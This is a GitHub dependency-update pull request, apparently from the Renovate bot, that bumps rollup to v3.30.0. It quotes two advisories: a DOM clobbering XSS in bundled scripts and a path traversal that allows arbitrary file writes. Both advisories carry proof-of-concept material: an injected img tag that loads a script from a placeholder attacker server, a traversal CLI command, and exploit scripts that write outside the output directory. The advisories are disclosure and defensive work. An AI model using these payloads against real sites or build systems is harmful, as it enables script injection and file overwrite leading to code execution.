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chore(deps): update dependency rollup to v3.30.0 [security]#110

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chore(deps): update dependency rollup to v3.30.0 [security]#110
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renovate/npm-rollup-vulnerability

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@renovate renovate Bot commented Sep 26, 2024 •
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This PR contains the following updates:

Package Change Age Confidence
rollup (source) 3.29.4 → 3.30.0 age confidence

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DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS

CVE-2024-47068 / GHSA-gcx4-mw62-g8wm

More information

Details

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details
Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Rollup 4 has Arbitrary File Write via Path Traversal

CVE-2026-27606 / GHSA-mw96-cpmx-2vgc

More information

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image
Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rollup/rollup (rollup)

v3.30.0

Compare Source

3.30.0

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v3.29.5

Compare Source

2024-09-21

Bug Fixes
  • Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#​5671)
Pull Requests

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@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.29.5 [security] chore(deps): update dependency rollup to v3.29.5 [security] - autoclosed Sep 26, 2024
@renovate renovate Bot closed this Sep 26, 2024
@renovate renovate Bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 22:58
@renovate renovate Bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 03:11
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.29.5 [security] - autoclosed chore(deps): update dependency rollup to v3.29.5 [security] Sep 27, 2024
@renovate renovate Bot reopened this Sep 27, 2024
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 6763ff6 to 03fb83b Compare September 27, 2024 03:11
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.29.5 [security] chore(deps): update dependency rollup to v3.29.5 [security] - autoclosed Dec 8, 2024
@renovate renovate Bot closed this Dec 8, 2024
@renovate renovate Bot deleted the renovate/npm-rollup-vulnerability branch December 8, 2024 18:54
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.29.5 [security] - autoclosed chore(deps): update dependency rollup to v3.29.5 [security] Dec 8, 2024
@renovate renovate Bot reopened this Dec 8, 2024
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 5640730 to 03fb83b Compare December 8, 2024 23:26
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 03fb83b to 5d5c5bd Compare February 26, 2026 01:58
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.29.5 [security] chore(deps): update dependency rollup to v3.30.0 [security] Feb 26, 2026
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.30.0 [security] chore(deps): update dependency rollup to v3.30.0 [security] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.30.0 [security] - autoclosed chore(deps): update dependency rollup to v3.30.0 [security] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 5d5c5bd to 8614f87 Compare March 30, 2026 17:52
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.30.0 [security] chore(deps): update dependency rollup to v3.30.0 [security] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title chore(deps): update dependency rollup to v3.30.0 [security] - autoclosed chore(deps): update dependency rollup to v3.30.0 [security] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 8614f87 to aa6e7b0 Compare April 27, 2026 23:29
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